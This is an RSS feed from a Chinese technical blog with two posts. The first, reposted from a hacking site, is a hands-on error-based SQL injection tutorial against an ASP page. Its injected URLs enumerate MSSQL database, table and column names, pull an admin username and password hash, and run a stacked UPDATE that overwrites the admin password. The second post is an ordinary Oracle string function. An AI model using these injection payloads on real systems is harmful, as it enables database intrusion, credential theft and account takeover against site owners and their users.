﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-fadesea-文章分类-数据库</title><link>http://www.blogjava.net/fadesea/category/8249.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 11 Mar 2007 13:56:48 GMT</lastBuildDate><pubDate>Sun, 11 Mar 2007 13:56:48 GMT</pubDate><ttl>60</ttl><item><title>MSSQL 跨库查询</title><link>http://www.blogjava.net/fadesea/articles/35361.html</link><dc:creator>fadesea</dc:creator><author>fadesea</author><pubDate>Wed, 15 Mar 2006 02:37:00 GMT</pubDate><guid>http://www.blogjava.net/fadesea/articles/35361.html</guid><wfw:comment>http://www.blogjava.net/fadesea/comments/35361.html</wfw:comment><comments>http://www.blogjava.net/fadesea/articles/35361.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/fadesea/comments/commentRss/35361.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/fadesea/services/trackbacks/35361.html</trackback:ping><description><![CDATA[一、分析MSSQL三个关键系统表. <BR>sysdatabases <BR><BR>MSSQL中对sysdatabases系统表 的说明： <BR>Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 <BR><BR>这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是 <BR>保存了，所有的库名,以及库的ID，和一些相关信息。 <BR>这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯！ <BR><BR>name dbid <BR>//表示库的名字. //表示库的ID. <BR><BR>dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库. <BR><BR>我们利用SQL语句：select * from master.dbo.sysdatabases 就可以查询出所有的库名. <BR><BR><BR>sysobjects <BR><BR>MSSQL中对sysobjects系统表的说明： <BR>在数据库内创建的每个对象（约束、默认值、日志、规则、存储过程等）在表中占一行。只有在 tempdb 内，每个临时对象才在该表中占一行。 <BR><BR>这个是列出数据库对象的系统表。当然数据库表名也在里面的. <BR>这里我就为大家列出一些对我们有用的字段名称和相关说明. <BR>name id xtype uid <BR>对象名. 对象ID 对象类型 所有者对象的用户ID。 <BR><BR>对象类型(xtype)。可以是下列对象类型中的一种： <BR>C = CHECK 约束 <BR>D = 默认值或 DEFAULT 约束 <BR>F = FOREIGN KEY 约束 <BR>L = 日志 <BR>FN = 标量函数 <BR>IF = 内嵌表函数 <BR>P = 存储过程 <BR>PK = PRIMARY KEY 约束（类型是 K） <BR>RF = 复制筛选存储过程 <BR>S = 系统表 <BR>TF = 表函数 <BR>TR = 触发器 <BR>U = 用户表 <BR>UQ = UNIQUE 约束（类型是 K） <BR>V = 视图 <BR>X = 扩展存储过程 <BR><BR>当然我们这里只用得到xtype='U'的值。当等于U的时候，对象名就是表名，对象ID就是表的ID值. <BR><BR>我们利用SQL语句: select * from ChouYFD.dbo.sysobjects where xtype='U' 这样就可以列出库名称是：ChouYFD中所有的表名. <BR><BR>syscolumns <BR><BR>SQL中syscolumns系统表的说明： <BR>每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。 <BR><BR>这个就是列出一个表中所有的字段列表的系统表。 <BR>这里我就为大家列出一些对我们有用的字段名称和相关说明: <BR>name id colid <BR>//字段名称 //表ID号. 字段ID号. <BR><BR>其中的 ID 是 刚上我们用sysobjects得到的表的ID号. <BR>我们利用SQL语句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表. <BR>YES SIR 明白！GO GO GO !!! <BR><BR>好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明. <BR><BR>二、灵活利用系统表 <BR>同志们，玩过CS游戏的举手，呵呵，都玩过啊。好！我们今天也要来爆一下"头". <BR>GO GO GO ！！！ <BR>不过我们现在爆的是库名，表名，字段名,我们用不着去猜库名，表名，字段名. <BR>说一下怎么爆出相关的库名，表名，字段名. <BR>当两个类型值不一样的时候，将他们做比较,SQL系统会提示出错。并且会显示出类型的值. 如：’aaa’&gt;100 这样比较，也就是字符串和数字的比较，这个怎么比较嘛，系统当然会提示出错啦！大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向的不相同类型比较，爆出他的值. <BR><BR>下面就让我们来测试吧！！！准备好没有？GO！ <BR><BR>任务一：得到所有库名. <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <BR><BR>因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name&gt;1 NAME字段是一个字符型的字段和数字比较会出错.那我们提交看一下IE返回了什么？ <BR><BR>IE返回. <BR><BR>Microsoft OLE DB Provider for SQL Server 错误 '80040e07' <BR><BR>将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。 <BR><BR>/jump.asp，行33 <BR><BR>GOOD!!!这样就把NAME字段的值爆露出来了: Northwind. 也就是我们得到了一个库名. <BR>改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候，爆出了两个论坛的库名.分别为: <BR>bbs2002 <BR>bbs <BR><BR>呵呵，论坛的库名出来啦！！！那我们就不客气了。就找BBS这个库吧! <BR><BR>任务二：得到bbs这个库中所有的表名. <BR>先来第一句： <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U') <BR>查询的SQL语句,返回的是NAME的值然后和数字0比较,这样就会爆露出NAME的值. <BR>好我们提交吧,只听到砰的一声！一个表名(name的值)出来了。名叫：Address. <BR>// 这里多说两句话，如果你提交的时候，他说你没有权限，就说明，这两个库的SQL账 <BR>//号的权限不一样，那就放弃吧。你没有资格进行下去. 老兄放弃吧！等他更新账号权 <BR>//的时候，我第一时间通知你！一定要相信我臭要饭的！话. <BR><BR>好，再来接着爆其他的表. <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) <BR>又出来一个表名，名叫：admin <BR><BR>依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名. <BR><BR>好，现在我们得到了ADMIN这个表，大家都清楚了这个表是做什么的吧！！我们的目的就是要得到这个表中账号字段和密码字段的值。 <BR>下面就是要得到这个表中的所有字段名了咧！ 怎么得到字段名呢?系统表: syscolumns <BR>中有用字段为: name、 id、colid 其中ID是保存着表的ID。也就是说我们要得到表的ID号然后，用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 这样才能列出BBS这个表中所有的字段. 说了半天，哎，说不清楚了。看我表演吧！ <BR><BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid&gt;(str(id))) <BR>//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧，呵呵，这也想得出来。 <BR>又听到砰的一声！ID号出来了。值为：773577794 <BR>OK.GOOD!! 进入下关吧。 <BR><BR>任务三：得到ADMIN这个表中的所有字段列表： <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794) <BR>又是把NAME和数字比较. <BR><BR>IE 返回：adduser 呵呵，来来来。 <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser')) <BR>又返回一个字段名：flag <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag')) <BR><BR>好当提交到： <BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns <BR>where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username')) <BR><BR>IE返回：BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需的操作要求一个当前的记录。 <BR>说明，我们已经猜完了。呵呵，看到了吧。 <BR>把BBS库中的ADMIN表中的所有字段列出来了。 <BR>分别如下： <BR>adduser,adduser,flag,id,lastlogin,lastloginip,password,username <BR>看了一下，很像动网的论坛。 <BR><BR>任务四：查询字段值. <BR>来。我们看看username和password的值吧。 <BR><BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;(select id from BBS.dbo.admin where username&gt;1) <BR>账号出来了：youbiao <BR><BR>http://www.AAA.com/jump.asp?id=3400 and 0&lt;(select id from BBS.dbo.admin where password&gt;1 and username='youbiao') <BR>密码又出来了：d6b2f32a47b8bcb5 我的天MD5的！不怕，呵呵~！！！ <BR><BR>来。改一下他的密码: <BR>http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';-- <BR>呵呵，试试。成功了。我们再来给他改回来. <BR><BR>http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';-- <BR>又改回来咯！！！呵~！ <BR><BR><BR>通过提交UPDATE语句就可以直接把密码给他更改了。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;转自：作者：YTT 来源：http://www.HackBase.com <img src ="http://www.blogjava.net/fadesea/aggbug/35361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/fadesea/" target="_blank">fadesea</a> 2006-03-15 10:37 <a href="http://www.blogjava.net/fadesea/articles/35361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle字符串操作</title><link>http://www.blogjava.net/fadesea/articles/34307.html</link><dc:creator>fadesea</dc:creator><author>fadesea</author><pubDate>Wed, 08 Mar 2006 09:34:00 GMT</pubDate><guid>http://www.blogjava.net/fadesea/articles/34307.html</guid><wfw:comment>http://www.blogjava.net/fadesea/comments/34307.html</wfw:comment><comments>http://www.blogjava.net/fadesea/articles/34307.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/fadesea/comments/commentRss/34307.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/fadesea/services/trackbacks/34307.html</trackback:ping><description><![CDATA[<P>oracle中有ltrim,rtrim和trim用于去掉字符串首尾的空格。如何去掉字符串中间空格呢。</P>
<P>这个例子用于去掉字符串中的空格，我把它写成了一个函数现在贴出来<BR></P>
<P><FONT color=#0000ff>create or replace function REP_SPE(inp in VARCHAR2) return varchar2 is<BR>&nbsp; Result number;<BR>&nbsp; tmp int;<BR>&nbsp; ls varchar2(30);<BR>&nbsp; rs varchar2(30);<BR>&nbsp; <BR>begin<BR>&nbsp; tmp:=INSTR(inp,' ');<BR>&nbsp; ls:=trim(substr(inp,1,tmp));<BR>&nbsp; rs:=trim(SUBSTR(inp,tmp));<BR>&nbsp; Result:=ls||rs;<BR>&nbsp; return(Result);<BR>end REP_SPE;</FONT><BR></P><img src ="http://www.blogjava.net/fadesea/aggbug/34307.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/fadesea/" target="_blank">fadesea</a> 2006-03-08 17:34 <a href="http://www.blogjava.net/fadesea/articles/34307.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>